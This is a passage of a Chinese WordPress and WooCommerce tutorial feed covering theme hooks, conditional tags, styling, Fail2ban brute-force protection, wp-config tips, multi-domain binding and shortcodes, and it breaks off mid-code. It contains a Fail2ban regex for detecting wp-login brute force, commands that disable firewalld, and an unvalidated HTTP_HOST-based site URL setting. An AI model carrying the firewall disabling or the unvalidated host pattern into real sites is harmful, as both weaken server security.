  2. add_action('woocommerce_after_main_content', 'my_theme_wrapper_end', 10);
  3.  
  4. function my_theme_wrapper_start() {
  5.   echo '<section id="main">';
  6. }
  7.  
  8. function my_theme_wrapper_end() {
  9.   echo '</section>';
  10. }

确保上面的标记和你所用主题的标记相匹配,具体标记可以在 page.php 中响应的位置找到。

声明 WooCommerce 支持

一旦主题做好了 WooCommerce 支持,我们可以在代码中声明我们的主题是支持 WooCommerce 的,这样就可以隐藏后台中 “你的主题没有声明 WooCommerce 支持” 的消息,在主题的 functions.php 文件中加入以下代码来实现这个功能:

  1. add_action( 'after_setup_theme', 'woocommerce_support' );
  2. function woocommerce_support() {
  3.     add_theme_support( 'woocommerce' );
  4. }

做好了以上一些步骤,你的主题已经做好基本的 WooCommerce 支持了,至于实现更多的布局样式和功能,就需要根据实际情况进行一些二次开发工作了

怎么让你开发的主题兼容 WooCommerce-在主题中声明 WooCommerce 支持,首发于蓝月网络

]]>
WooCommerce 中的条件判断标签函数-在主题中判断当前页面 https://lanyueer.com/the-conditional-tagging-function-in-woocommerce/ Sun, 16 Apr 2017 12:07:01 +0000 http://lanyueer.com/?p=832 为了方便主题开发,WooCommerce 为我们提供了一些条件判断函数,我们使用这些判断函数在合适的条件下…

WooCommerce 中的条件判断标签函数-在主题中判断当前页面,首发于蓝月网络

]]>
为了方便主题开发,WooCommerce 为我们提供了一些条件判断函数,我们使用这些判断函数在合适的条件下显示或隐藏某些内容。例如,我们只需要在商店页面显示一端文本,我们只需要使用 is_shop() 函数判断当前页面是否为商店页面就可以了。因为WooCommerce 是 WordPress 的一个插件,所有 WordPress 条件判断函数 在 WooCommerce 中也可以使用。

注意:我们只有在模板加载后,才可以在模板文件中使用这些条件判断函数,functions.php 文件在模板文件之前加载,所以在 functions.php 中,使用这些条件判断函数是无效的。

WooCommerce 中常用的条件判断函数

所有的条件判断函数测试当前条件是否匹配,匹配返回 TRUE,不匹配则返回 FALSE,下面的列表中是我们常用的 WooCommerce 条件判断函数,所有条件函数请参考 WooCommerce API 文档

是否为WooCommerce 页面

is_woocommerce()
如果页面使用的是 WooCommerce 模板,返回 true (购物车和结账页面使用的是标准的页面模板,不会包含在内)。

是否为商店主页面

is_shop()
当前页面为产品存档页面时,返回 true (商店)。

是否为产品分类页面

is_product_category()
当前页面是产品分类时,返回 true。
is_product_category( 'shirts' )
当前页面是产品分类项目 ‘shirts’ 时,返回 true,’shirt’ 为分类别名。
is_product_category( array( 'shirts', 'games' ) )
当前页面是产品分类项目 ‘shirts’ 或 ‘games’ 时,返回 true。

是否为产品标签页面

is_product_tag()
当前页面为产品标签时,返回 true。
is_product_tag( 'shirts' )
当前页面是产品标签项目 ‘shirts’ 时,返回 true,’shirt’ 为分类别名。
is_product_tag( array( 'shirts', 'games' ) )
当前页面是产品标签项目 ‘shirts’ 或 ‘games’ 时,返回 true。

是否为单个产品详情页面

is_product()
当前页面是单个产品详情页面时,返回 true, 是 is_singular 条件函数的封装。

是否为购物车页面

is_cart()
当前页面是购物车页面时,返回 true。

是否为结账页面

is_checkout()
当前分类是结账页面时,返回 true。

是否为客户账户页面

is_account_page()
当前页面为客户账户页面时,返回 true。

判断页面端点

is_wc_endpoint_url()
查看 WooCommerce 端点页面时,返回 true。
is_wc_endpoint_url( 'order-pay' )
查看支付订单端点页面时,返回 true。
is_wc_endpoint_url( 'order-received' )
查看收到订单端点页面时,返回 true。
is_wc_endpoint_url( 'view-order' )
查看查看订单端点页面时,返回 true。
is_wc_endpoint_url( 'edit-account' )
查看编辑账户页面时,返回 true。
is_wc_endpoint_url( 'edit-address' )
查看编辑地址端点页面时,返回 true。
is_wc_endpoint_url( 'lost-password' )
查看找回密码端点页面时,返回 true。
is_wc_endpoint_url( 'customer-logout' )
查看客户登出端点页面时,返回 true。
is_wc_endpoint_url( 'add-payment-method' )
查看添加支付方式端点页面时,返回 true。

判断是否为 Ajax 请求

is_ajax()
当前页面通过 Ajax 加载时,返回 true。

使用示例

下面的使用示例演示了怎么在不同的分类里面显示不同的内容。

  1. if ( is_product_category() ) {
  2.   if ( is_product_category( 'shirts' ) ) {
  3.     echo '你好,我这里都 T-shirt。';
  4.   } elseif ( is_product_category( 'games' ) ) {
  5.     echo '你好,我这里都是游戏。';
  6.   } else {
  7.     echo '你好,欢迎光临我们的商店。';
  8.   }
  9. }

WooCommerce 中的条件判断标签函数-在主题中判断当前页面,首发于蓝月网络

]]>
自定义 WooCommerce 插件的 CSS 样式的两种方法 https://lanyueer.com/there-are-two-ways-to-customize-the-css-style-of-the-woocommerce-plugin/ Sun, 16 Apr 2017 11:47:13 +0000 http://lanyueer.com/?p=831 WooCommerce 内置了负责显示商品和购物流程的所有 CSS 样式,这样能确保在安装了WooCommer…

自定义 WooCommerce 插件的 CSS 样式的两种方法,首发于蓝月网络

]]>
WooCommerce 内置了负责显示商品和购物流程的所有 CSS 样式,这样能确保在安装了WooCommerce,并进行了基本配置之后,就可以得到一个样式不错的商店。这很方便,然而大多数情况下,我们不会使用 WooCommerce 提供的基本样式,我们需要对 WooCommerce 的样式进行一些定制,让 WooCommerce 商店的外观和我们的主题更匹配。有两种方法可以对 WooCommerce 的样式进行定制。

WooCommerce 默认的样式文件

在WooCommerce 插件的 assets/css/ 文件夹中, 我们可以找到WooCommerce 默认的样式文件,分别是 woocommerce.scsswoocommerce.css.

woocommerce.css 压缩后的样式文件,此文件中包含了所有 WooCommerce 商店使用的基础 CSS 样式。
woocommerce.scss 这是WooCommerce 样式的 SCSS 源文件,通过编译后产品上面woocommerce.css 文件。
上面的样式文件中,设计到宽度的样式使用了百分比自适应布局,以便适配大多数主题,当然,我们可以根据自己的实际需要调整。

方法一:覆盖默认的 CSS 文件修改WooCommerce 样式

为了避免升级问题,我们建议只把上面的文件作为参考,而不是直接修改上面提到的文件。如果你只想修改一小部分 WooCommerce 样式,之间通过 CSS 覆盖掉这部分样式就可以了,比如:添加下面的 CSS 到主题的样式文件中,修改 WooCommerce 的按钮为黑色。

a.button, 
button.button, 
input.button, 
#review_form #submit {
  background:black; 
}

在前端,为了方便自定义样式,WooCommerce 在 HTML 的 body 标签上添加了主题名称,页面类型等信息,我们可以使用此信息单独定义一些特殊页面的样式,这也是 WordPress 推荐的做法。

方法二:禁用 WooCommerce 默认样式,使用主题自定义的样式

如果你准备对 WooCommerce 样式做一些大的修改,使用方法一可能会增加很多工作量,多写很多不必要的代码。这时候,禁用 WooCommerce 默认的 CSS 样式,使用我们主题自定义的样式是个比较好的选择。添加下面的代码到主题的 functions.php 文件中即可实现这个修改。

  1. // 逐个移除 WooCommerce 默认的样式文件
  2. add_filter( 'woocommerce_enqueue_styles', 'wizhi_dequeue_styles' );
  3. function wizhi_dequeue_styles( $enqueue_styles ) {
  4.     unset( $enqueue_styles['woocommerce-general'] ); // 移除基础组件样式
  5.     unset( $enqueue_styles['woocommerce-layout'] ); // 移除布局
  6.     unset( $enqueue_styles['woocommerce-smallscreen'] ); // 移除小屏幕自适应优化
  7.     return $enqueue_styles;
  8. }
  9.  
  10. // 或移除所有样式
  11. add_filter( 'woocommerce_enqueue_styles', '__return_false' );

进行了上面的修改之后,我们的主题就不再使用 WooCommerce 默认的样式文件了,我们可以把 WooCoomerce 默认的样式文件中复制到自己的主题中进行响应的修改,如果你使用 SCSS,也可以直接修改 SCSS 文件,修改后,和主题样式文件一起,编译成包含了 WooCommerce 样式的主题样式文件。

自定义 WooCommerce 插件的 CSS 样式的两种方法,首发于蓝月网络

]]>
使用 Fail2ban 防止 SSH 和WordPress 暴力破解 https://lanyueer.com/use-fail2ban-to-prevent-ssh-and-wordpress-violence-cracking/ Sun, 16 Apr 2017 11:39:46 +0000 http://lanyueer.com/?p=830 通过 SSH 连接到服务器非常安全,但是 SSH 守护进程本身必须暴露给互联网才能正常工作。这很容易成功潜在攻…

使用 Fail2ban 防止 SSH 和WordPress 暴力破解,首发于蓝月网络

]]>
通过 SSH 连接到服务器非常安全,但是 SSH 守护进程本身必须暴露给互联网才能正常工作。这很容易成功潜在攻击者的目标。以这种方式暴露给网络的任何服务都是攻击者的潜在目标。如果我们注意过这些服务的日志,就会经常看到重复的登录尝试,这就意味着该服务遭受了暴力破解攻击。WordPress 因为广泛使用也每天都遭受着这样的攻击。

Linux 系统中有一个叫 Fail2ban 的服务,可以通过分析应用程序日志识别暴力破解行为,然后自动修改 iptables 防火墙规则来屏蔽掉攻击者 的 IP 地址。这个过程是自动的,配置好Fail2ban 服务后,我们就不需要人工干预了。在这篇文章中,我将介绍如何在 CentOS 7 服务器上安装和使用Fail2ban。

在CentOS 7上安装Fail2ban

官方 CentOS 组件库中没有包含 Fail2ban 软件,它被打包在了EPEL项目中(EPEL代表额外的企业版 Linux 软件包),我们需要先启用 EPEl 仓库。

  1. sudo yum install epel-release

现在,我们应该可以安装fail2ban包了

  1. sudo yum install fail2ban

安装完成后,我们需要使用systemctl启用fail2ban服务:

  1. sudo systemctl enable fail2ban

自定义 Fail2ban 设置

Fail2ban 的配置文件在/etc/fail2ban目录。在这里,我们可以找到一个名为 jail.conf 的Fail2ban 配置文件。此文件可能会被软件包升级覆盖,所以我们不应该直接编辑,我们可以编写一个名为新文件 jail.local 的自定义配置文件,该文件中定义的任何值将覆 jail.conf 中的设置。

jail.conf 包含了 [DEFAULT] 配置,随后是各个服务的配置。 jail.local 可以覆盖这些值中的任何值。另外,文件夹 /etc/fail2ban/jail.d/ 中的服务相关设置又可以覆盖这两个文件中的设置,这些文件的优先级如下:

/etc/fail2ban/jail.conf
/etc/fail2ban/jail.d/*.conf,按字母顺序排列
/etc/fail2ban/jail.local
/etc/fail2ban/jail.d/*.local,按字母顺序排列
任何文件可以包含一个 [DEFAULT] 配置,首先执行,也可以包含各个服务的配置。

首先,让我们编写一个非常简单的 jail.local。使用 vi 编辑器打开一个新文件:

  1. sudo vi /etc/fail2ban/jail.local

粘贴以下内容:

  1. [DEFAULT]
  2. # Ban hosts for one hour:
  3. bantime = 3600
  4.  
  5. # Override /etc/fail2ban/jail.d/00-firewalld.conf:
  6. banaction = iptables-multiport
  7.  
  8. [sshd]
  9. enabled = true

上面的配置覆盖了三种设置:为所有服务设置了一个新的屏蔽时间,设置使用 iptables 进行屏蔽操作,并启用了sshd 屏蔽,修改完成后,我们需要重启以便使 Fail2ban 生效:

  1. sudo systemctl restart fail2ban

该命令完成后应该没有任何输出。

Fail2ban 其他可用设置

我们可能还需要调整 Fail2bam 的其他设置。打开 jail.conf,我们将讨论一些默认设置。如果需要改变这些值,一定要复制到 jail.local 配置文件里面调整,而不是直接在默认文件里面修改。

  1. sudo vi /etc/fail2ban/jail.conf

Jail 的所有默认设置

首先是 [DEFAULT] 部分。

  1. ignoreip = 127.0.0.1/8

该参数可以让 Fail2ban 忽略来自某些 IP 的流量。目前,它被配置为不禁止来自本机的任何流量。我们可以附加更多 IP(以空格分隔)来忽略其他地址。

  1. bantime = 600

bantime 参数设置了某IP被屏蔽的时间,以秒为单位,默认为600秒,也就是10分钟。

  1. findtime = 600
  2. maxretry = 3

接下来要注意的两个参数是 findtime 和maxretry。这两个参数共同确定了某IP应该被屏蔽的条件。

maxretry 变量设置一个 IP 在 findtime 内,被屏蔽之前可以尝试的次数。默认情况下,Fail2ban 将禁止在10分钟内 3 次登录失败的 IP。

  1. destemail = root@localhost
  2. sendername = Fail2Ban
  3. mta = sendmail

如果要配置电子邮件警报,我们可能需要重写 destemail,sendername 和 mta 设置。destemail 参数设置了接收禁止消息的电子邮件地址。sendername 为邮件“发件人”字段的值。mta 参数设置了使用什么邮件服务来发送邮件。

  1. action = $(action_)s

此参数设置了当 Fail2ban 想要屏蔽 IP 时采取的操作。默认操作是配置防火墙以拒绝来自符合屏蔽条件的流量,直到屏蔽时间过去。

其他 Jail 设置

在 [DEFAULT] 之后,是各个服务的 jail 设置,通常包括一个 port 和需要监控的日志路径 logpath。例如,我们启用了 SSH 监控,jail.local 中会有如下设置:

  1. [sshd]
  2.  
  3. port = ssh
  4. logpath = %(sshd_log)s

这种情况下,ssh 是一个标准 SSH 端口的预定义变量,%(sshd_log)s 使用 fail2ban 标准配置处定义的值(方便 jail.conf 在不同操作系统中移植)。

在有些监控服务中,可能需要单独设置一个 filter,用来确定验证失败的规则,该 filter 值位于 /etc/fail2ban/filter.d 目录,此文件包含一个正则表达式,用于确定日志中的行是否符合屏蔽条件。后面将要介绍的 WordPress 监控设置就需要新建一个 filter 文件。

我们可以通过列出该目录中的文件来查看可用的过滤器:

  1. ls /etc/fail2ban/filter.d

如果我们看到一个与正在使用的服务相关的文件,大多数情况下该过滤规则是可以直接使用的,例如,我们正在使用 Nginx,我们可以在我们的 /etc/fail2ban/jail.local 文件中设置 [nginx-http-auth]:

  1. [DEFAULT]
  2. # Ban hosts for one hour:
  3. bantime = 3600
  4.  
  5. # Override /etc/fail2ban/jail.d/00-firewalld.conf:
  6. banaction = iptables-multiport
  7.  
  8. [sshd]
  9. enabled = true
  10.  
  11. [nginx-http-auth]
  12. enabled = true

重新启动fail2ban服务:

  1. sudo systemctl restart fail2ban

查看 Fail2ban 状态和防火墙设置

设置了 Fail2ban后,我们需要知道 Fail2ban 是否按预期工作的,通过启动 fail2ban-client 检查整体服务状态或个别监控服务的状态:

  1. sudo fail2ban-client status
  2. sudo fail2ban-client status jail_name

也可以列出为 iptables 当前生效的规则来查看通过 Fail2ban 屏蔽的 ip:

  1. sudo iptables -L

使用 Fail2ban 防止 WordPress 暴力破解

如果我们的 WordPress 站点设置了访问日志,我们就可以让 Fail2ban 监控网站日志,来防止 WordPress 暴力破解,凡是不停发送 POST 的请求到 wp-login.php 的请求,一般情况下都是暴力破解的行为。根据这个特征,我们可以设置下面的 filter,命名为wordpress.conf,放在/etc/fail2ban/filter.d/文件夹中。

  1. # WP brute force attacks filter
  2. [Definition]
  3. failregex =.*-.*-.*POST.*/wp-login$
  4. ignoreregex =

然后在 jail.local 文件中,加入以下内容,其中的 logpath 就是网站的访问日志路径。

  1. [wordpress]
  2. enabled = true
  3. filter = wordpress
  4. logpath = /home/wwwlogs/*.log
  5. maxretry = 3
  6. port = http,https

Centos 7 使用了 firewalld 替代了 iptables,fail2ban 可能无法更新 iptables 规则,这种情况下,使用下面两条命令禁用 firewalld 防火墙,然后启用 iptables 就可以了。

  1. systemctl stop firewalld
  2. systemctl mask firewalld

通过上面的设置,服务器就可以防止大部分的暴力破解攻击了,在安全性上又提升了一个级别。即便如此,我们依然不能忘记安全的基本规则,不要设置过于简单的密码,谨慎保存自己的密码,防止泄露。安全不仅是一种状态,更是一种习惯,养成了注意网络安全的习惯,安全就会一直保持下去。

使用 Fail2ban 防止 SSH 和WordPress 暴力破解,首发于蓝月网络

]]>
AVADA如何在WooCommerce的Product编辑页使用Page Builder? https://lanyueer.com/use-the-page-builder-on-woocommerces-product-edit-page/ Thu, 09 Mar 2017 10:24:08 +0000 http://lanyueer.com/?p=827 1 用服务器文件目录或者ftp的方式找到后台文件 路径为:根目录/wp-content/plugins/fus…

AVADA如何在WooCommerce的Product编辑页使用Page Builder?,首发于蓝月网络

]]>
1 用服务器文件目录或者ftp的方式找到后台文件
路径为:根目录/wp-content/plugins/fusion-core/admin/
文件只有一个,就是叫class-pagebuilder.php的那货,编辑它

2 找到第53行:

  1. var $allowed_post_types = array('page','post','avada_faq','avada_portfolio');

修改为

  1. var $allowed_post_types = array('page','post','avada_faq','avada_portfolio','product');

即在page builder的可用模块里面添加上woo commerce的product保存即可

3 检查wp后台是否生效

AVADA如何在WooCommerce的Product编辑页使用Page Builder?,首发于蓝月网络

]]>
WordPress注册邀请码插件:BAW Easy Invitation Codes https://lanyueer.com/baw-easy-invitation-codes/ Mon, 02 Jan 2017 04:11:13 +0000 http://lanyueer.com/?p=812 BAW Easy Invitation Codes 简介 BAW Easy Invitation Codes …

WordPress注册邀请码插件:BAW Easy Invitation Codes,首发于蓝月网络

]]>
BAW Easy Invitation Codes 简介

BAW Easy Invitation Codes 是一个WordPress邀请码插件,专门用来生成邀请码,用户如果要注册网站,必须拥有邀请码才可以。该插件支持单个添加邀请码,可以设置邀请码可用次数,还可以批量生成邀请码。可以统计邀请码使用的次数。还可以在邀请码输入框下添加自定义文本,比如可以添加一个链接,告诉用户如何获取邀请码。

sp170102_121306

BAW Easy Invitation Codes 安装使用

1.在插件安装界面直接搜索 BAW Easy Invitation Codes 即可在线安装,或者在此下载

下载 BAW Easy Invitation Codes

2.要正常使用该插件,前提是肯定要开放注册了,可以在 设置 – 常规 中勾选“允许任何人注册”。

3.启用该插件后,就可以添加邀请码了,然后想办法将邀请码发送给你的朋友们吧!

WordPress注册邀请码插件:BAW Easy Invitation Codes,首发于蓝月网络

]]>
实用的 WordPress wp-config 小技巧 https://lanyueer.com/super-useful-wp-config-tips/ Tue, 13 Dec 2016 13:55:18 +0000 http://lanyueer.com/?p=810 wp-config.php 文件是 WordPress 站点中与数据库无关的配置文件,关于 WordPress…

实用的 WordPress wp-config 小技巧,首发于蓝月网络

]]>
wp-config.php 文件是 WordPress 站点中与数据库无关的配置文件,关于 WordPress 网站的安装设置都在这个文件里面,在这篇文章中,我将为大家分享一些非常实用的配置小技巧,帮助提高 WordPress 网站的安全性和性能。

保持站点数据库精简

在比较大型的 WordPress 站点中,保持数据库精简和干净是非常重要的,而 WordPress 数据库中保存了一些非必要的数据,比如缓存和文章版本。

我们可以非常简单的限制文章的版本数量,以免文章版本占用过多的数据库空间,拖慢数据库性能。在 wp-config.php 文件中加入下面一行代码,即可限制文章的历史版本数为 3,对于不经常修改文章的网站来说,3个文章历史版本足够用了。

  1. define('WP_POST_REVISIONS', 3);

如果你觉得自己的站点不需要这个功能,可以使用下面的代码彻底禁用文章历史版本功能。

  1. define( 'WP_POST_REVISIONS', false );

WordPress 在数据库中保存了移动到回收站中的文章、页面、附件和评论,默认情况下,30天后,WordPress 会自动清理回收站中的数据,我们可以自定义这些数据在回收站中保存的时间,下面的代码,设置了这个时间为1天,数据移动到回收站中一天之后,会被自动清理。

  1. define( 'EMPTY_TRASH_DAYS', 1 );

在后台编辑图片时,WordPress会创建一个原图的副本,以便我们可以随时还原,我们可以通过设置改变这个行为,让 WordPress 在编辑图片时,直接覆盖原图,以节省服务器空间,直接定义常量IMAGE_EDIT_OVERWRITE 的值为 TRUE 即可。

  1. define( 'IMAGE_EDIT_OVERWRITE', true );

提高安全性

如果你的主机支付 SSL,为了确保登录帐号密码不被泄露,我们应该为 WordPress 启用强制 SSL 登录,加密登录过程中的用户名和密码数据,在 wp-config.php文件中加入以下配置即可实现这个功能。

  1. define('FORCE_SSL_LOGIN', true);

同时,我们也可以设置 WordPress 后台全部使用 SSL 协议。

  1. define('FORCE_SSL_ADMIN', true);

防止不懂技术的客户不小心损坏程序

为不懂技术的客户开发 WordPress 站点的时候,经常会有客户不小心在后台修改坏了 WordPress 主题或插件的代码、甚至删除了主题或插件导致站点损坏。其实对于不懂技术的客户,允许他们在后台修改代码或者网站程序文件是没有必要的,同时也是非常危险的,万一不小心弄坏了网站,只会为双方带来不必要的麻烦。为了解决这个问题,WordPress 为我们提供了一条配置,可以让我们禁用掉所有在后台修改程序文件的功能,包括主题插件安装、修改、升级等操作。

在wp-config.php文件中加入以下代码即可禁用所有后台程序文件修改操作,同时发布文章、上传文件也不会受到影响。

  1. define('DISALLOW_FILE_EDIT', true);
  2. define('DISALLOW_FILE_MODS',true);

另外一个导致 WordPress 站点不安全的错误是,客户往往不会主动升级 WordPress 内核、主题、插件,因为客户很可能不知道这到底是干什么用的,升级会不会破坏网站。这种情况下,保证 WordPress 随时更新到最新版本就是我们的责任了,设置以下代码可以让 WordPress 在有新版本可用时及时自动更新到最新版本。WordPress 主题和插件默认情况下会自动更新。

  1. define('WP_AUTO_UPDATE_CORE', true);

FTP 设置

如果的WordPress站点在每次需要更新时都提示你填写FTP凭据,我们实际上可以通过使用wp-config.php 来记住FTP 登录信息来节省大量的时间。下面的三个常量会告诉WordPress你的FTP主机、用户名和密码是什么。这样,我们不必每次升级时都提交这些信息。

  1. define('FTP_HOST', 'ftp.yoursite.com');
  2. define('FTP_USER', 'Your_FTP_Username');
  3. define('FTP_PASS', 'Your_FTP_password');

一些优质的主机托管公司会为我们提供SSL FTP, 如果我们的主机支持SSL FTP,请确保打开SSL FTP连接增加额外的安全性。

  1. define('FTP_SSL', true);

程序调试

当我们的网站出现错误时,我们可以通过在wp-config.php中打开调试模式,查看错误的具体信息,以方便排除错误。

  1. define('WP_DEBUG', true);

由于将错误将显示在网站上会影响访问者浏览,一种更优雅的调试方式是使用调试日志。在WordPress中,实现这个功能很容易:设置 WP_DEBUG 为 true 后,再设置 WP_DEBUG_LOG 为 true,这将使 WordPress 将所有 PHP 错误或警告信息保存到 wp-content 目录中。

  1. define( 'WP_DEBUG_LOG', true );

如果网站的数据库损坏了,我们可以设置允许 WordPress 自行修复,WP_ALLOW_REPAIR 为true即可。

  1. define( 'WP_ALLOW_REPAIR', true );

请注意,以上常量仅在调试站点时使用,一旦你找到并解决了问题,记得将上面的常量值设置为false!

提高性能

wp-config.php文件允许我们调整一些调整,以确保 WordPress 获得更好的性能。首先要增加允许 WordPress 使用的最大内存。请注意,如果您的主机服务商限制了内存,这个设置是没用的。

  1. define('WP_MEMORY_LIMIT', '96M');

如果我们的服务器上同时运行的有其他程序,我们可以限制 WordPress 使用的内存量,以免 WordPress 使用过多内存而影响其他程序工作。

  1. define( 'WP_MAX_MEMORY_LIMIT', '256M' );

实用的 WordPress wp-config 小技巧,首发于蓝月网络

]]>
WordPress如何绑定多个域名教程 https://lanyueer.com/wordpress-uses-multiple-domains/ Tue, 13 Dec 2016 06:04:33 +0000 http://lanyueer.com/?p=808 使用过wordpress的站长应该都清楚,wordpress在安装的时候会默认绑定当前的域名,后续绑定其他的域…

WordPress如何绑定多个域名教程,首发于蓝月网络

]]>
使用过wordpress的站长应该都清楚,wordpress在安装的时候会默认绑定当前的域名,后续绑定其他的域名但是页面的链接也还是安装时候的域名。那么今天给大家分享一下wordpress绑定多个域名或者取消域名绑定限制的方法。

1. 打开网站根目录下的wp-config.php,在define(‘WP_DEBUG’, false);后面添加下面内容:

  1. define('WP_SITEURL', 'http://' . $_SERVER['HTTP_HOST']);
  2. define('WP_HOME', 'http://' . $_SERVER['HTTP_HOST']);

这两句的意思就是设置网站域名为当前访问的域名,也就是取消了域名的绑定,如果不需要任意域名都能访问,只是几个域名的话,可以这样:

  1. $domain = array("www.a.com", "www.b.com", "www.c.com"); 
  2. if(in_array($_SERVER['HTTP_HOST'], $domain)){
  3.     define('WP_SITEURL', 'http://' . $_SERVER['HTTP_HOST']);
  4.     define('WP_HOME', 'http://' . $_SERVER['HTTP_HOST']);
  5. }

把指定的域名放在$domain数组里面即可。

注意:

如果是https,请修改代码里面的http://为https://;
如果网站安装在二级目录,则将’http://’ . $_SERVER[‘HTTP_HOST’]修改为’http://’ . $_SERVER[‘HTTP_HOST’].’/对应目录名’
2. 在完成上面的工作以后,你的网站已经可以实现多域名访问了,但是还是有一个问题,那就是静态资源,在wordpress上传的图片插入文章里面,地址是固定的,修改域名以后,并不会修改图片的域名,所以还需要修改静态文件地址,使用以下代码可以解决:

  1. define( 'WP_CONTENT_URL', '/wp-content');

把这段代码加入上面的代码下面即可。

OK,到这里你的网站已经完美的突破了域名绑定的限制了。

WordPress如何绑定多个域名教程,首发于蓝月网络

]]>
WooCommerce 默认提供的简码短代码 https://lanyueer.com/woocommerce-default-shortcode/ Wed, 23 Nov 2016 14:16:42 +0000 http://lanyueer.com/?p=801 为了方便我们插件产品到文章或页面中,WooCommerce 默认提供了一些简码,使用这些简码,我们可以很方便的…

WooCommerce 默认提供的简码短代码,首发于蓝月网络

]]>
为了方便我们插件产品到文章或页面中,WooCommerce 默认提供了一些简码,使用这些简码,我们可以很方便的插入WooCommerce 的商品或功能到普通的WordPress 页面中。

基本页面简码

[woocommerce_cart] – 显示购物车页面
[woocommerce_checkout] – 显示结账页面
[woocommerce_order_tracking] – 显示订单跟踪表单
[woocommerce_my_account] – 显示用户账户页面
大多数情况下,安装 WooCommerce 时,向导会自动添加以上简码到响应的页面中,如果没有运行安装向导,我们需要自行把上面的简码添加到页面中。

我的账户页面

在账户页面显示 ‘我的账户’ 内容,用户可以浏览历史订单,更新他们的信息,我们可以指定显示特定用户的账户页面,并指定一个页面显示多少订单。

参数:

  1. array(
  2.      'current_user' => '',
  3.      'order_count' => '15'
  4.  )
  5. [woocommerce_my_account order_count="12"]

当前页面参数会通过 get_user_by( ‘id’, get_current_user_id() ) 函数自动添加。
下面的页面可以在 WordPress 站点中的任何地方使用。

显示最新商品:recent_products

列出最新的商品 ,通常在网站首页比较常用,‘per_page’ 参数确定显示几个最新商品, columns 参数确定把商品显示为几列。

参数:

  1. array(
  2.      'per_page' => '12',
  3.       'columns' => '4',
  4.       'orderby' => 'date',
  5.       'order' => 'desc'
  6.  )
  7. [recent_products per_page="12" columns="4"]

如需了解怎么使用 ‘orderby’ 参数, 参见 WordPress Codex Class Reference

显示特色推荐商品:featured_products

和最新商品简码类似,只不过这个简码显示的是后台推荐的特色商品。下面的示例简码中,显示12个推荐商品,每行显示4个。

参数:

  1. array(
  2.      'per_page' => '12',
  3.       'columns' => '4',
  4.       'orderby' => 'date',
  5.       'order' => 'desc'
  6.  )
  7. [featured_products per_page="12" columns="4"]

显示单个商品:product

通过商品 ID 或这 SKU 显示某个商品。

  1. [product id="99"]
  2. [product sku="FOO"]

如果商品没有显示,确认一下是否在后台设置为隐藏了。

显示多个商品:products

通过商品 ID 或 SKU 显示多个商品,和上面的 product 简码类似,只不过这个显示的是多个商品。注意复数形式 ‘products’。

参数:

  1. array(
  2.       'columns' => '4',
  3.       'orderby' => 'title',
  4.       'order' => 'asc'
  5.  )
  6. [products ids="1, 2, 3, 4, 5"]
  7. [products skus="foo, bar, baz" orderby="date" order="desc"]

如果商品没有显示,确认一下是否在后台设置为隐藏了。

显示添加到购物车按钮:add_to_cart

通过商品 ID 显示价格和添加到购物车按钮。

参数:

  1. array(
  2.       'id' => '99',
  3.       'style' => 'border:4px solid #ccc; padding: 12px;',
  4.       'sku' => 'FOO'
  5.  )
  6. [add_to_cart id="99"]

显示添加到购物车 URL:add_to_cart_url

通过商品 ID 显示价格和添加到购物车按钮,上面的 add_to_cart 显示的直接是功能,这个简码只是输出了一个加入到购物车的链接。

Args:

  1. array(
  2.       'id' => '99',
  3.       'sku' => 'FOO'
  4.  )
  5. [add_to_cart_url id="99"]

显示单个商品分类的商品:product_category

通过商品分类别名显示分类中的多个商品。

参数:

  1. array(
  2.      'per_page' => '12',
  3.       'columns' => '4',
  4.       'orderby' => 'title',
  5.       'order' => 'asc',
  6.       'category' => ''
  7.  )
  8. [product_category category="appliances"]

显示多个商品分类中的商品:product_categories

显示多个商品分类中的商品,和上面的 product_categorie 类似,只不过这个显示的是多个商品分类中的商品。

参数:

  1. array(
  2.       'number' => 'null',
  3.       'orderby' => 'title',
  4.       'order' => 'ASC',
  5.       'columns' => '4',
  6.       'hide_empty' => '1',
  7.       'parent' => '',
  8.       'ids' => ''
  9.  )
  10. `number` 参数用来指定显示多少商品, `ids` 参数用来指定显示哪些分类中的商品。
  11.  
  12. [product_categories number="12" parent="0"]

设置parent 参数为0,只显示顶级分类,设置 ‘ids’ 为逗号分隔的分类id列表,只显示指定分类中的商品。

商品页面:product_page

通过指定的IPS 呀 ID 或 SKU 显示完整的商品详情页面。

  1. [product_page id="99"]
  2. [product_page sku="FOO"]

显示打折特价促销商品:sale_products

列出促销中的商品:

参数:

  1. array(
  2.      'per_page' => '12',
  3.      'columns' => '4',
  4.      'orderby' => 'title',
  5.      'order' => 'asc'
  6.  )
  7.  
  8. [sale_products per_page="12"]

显示销量最高的商品:best_selling_products

列出销量最高的商品。

参数:

  1. array(
  2.      'per_page' => '12',
  3.      'columns' => '4'
  4.  )
  5.  
  6. [best_selling_products per_page="12"]

显示相关商品:related_products

列出相关商品。

参数:

  1. array(
  2.      'per_page' => '12',
  3.      'columns' => '4',
  4.      'orderby' => 'title'
  5.  )
  6.  
  7. [related_products per_page="12"]

显示评价最高的商品:top_rated_products

显示评价最高的商品。

参数:

  1. array(
  2.      'per_page' => '12',
  3.      'columns' => '4',
  4.      'orderby' => 'title',
  5.      'order' => 'asc'
  6.  )
  7.  
  8. [top_rated_products per_page="12"]

显示商品属性:product_attribute

列出指定属性的商品。

参数:

  1. array(
  2.      'per_page' => '12',
  3.      'columns' => '4',
  4.      'orderby' => 'title',
  5.      'order' => 'asc',
  6.      'attribute' => '',
  7.      'filter' => ''
  8.  )
  9.  
  10. [product_attribute attribute='color' filter='black']

‘per_page’ 参数

注意:参数 ‘per_page’ 指定在页面上显示多少件商品,并不会输入分页。

简码问题排除

如果你在页面上粘贴了代码,在前端却看不到商品输入,请确认简码没有被

 包含,这个问题很常见,移除.

 标签,重新保存一下页面就可以了。

根据自定义字段排序商品

很多列出商品的 WooCommerce 简码都是支持自定义排序的,如:

  1. [recent_products]
  2. [featured_products]
  3. [products]
  4. [product_category]
  5. [sale_products]
  6. [top_rated_products]
  7. [product_attribute]
  8. [related_products]

我们可以通过下面的属性对商品进行排序:

menu_order
title
date
rand
id
“orderby” 属性的使用方法如下:

  1. [products skus="foo, bar, baz" orderby="date" order="desc"]

除了上面的属性,我们还可以通过自定义字段对商品进行排序,下面的实例中,我们使用价格对商品进行排序。

  1. add_filter( 'woocommerce_shortcode_products_query', 'woocommerce_shortcode_products_orderby' );
  2.  
  3. function woocommerce_shortcode_products_orderby( $args ) {
  4.  
  5. 	$standard_array = array('menu_order','title','date','rand','id');
  6.  
  7. 	if( isset( $args['orderby'] ) && !in_array( $args['orderby'], $standard_array ) ) {
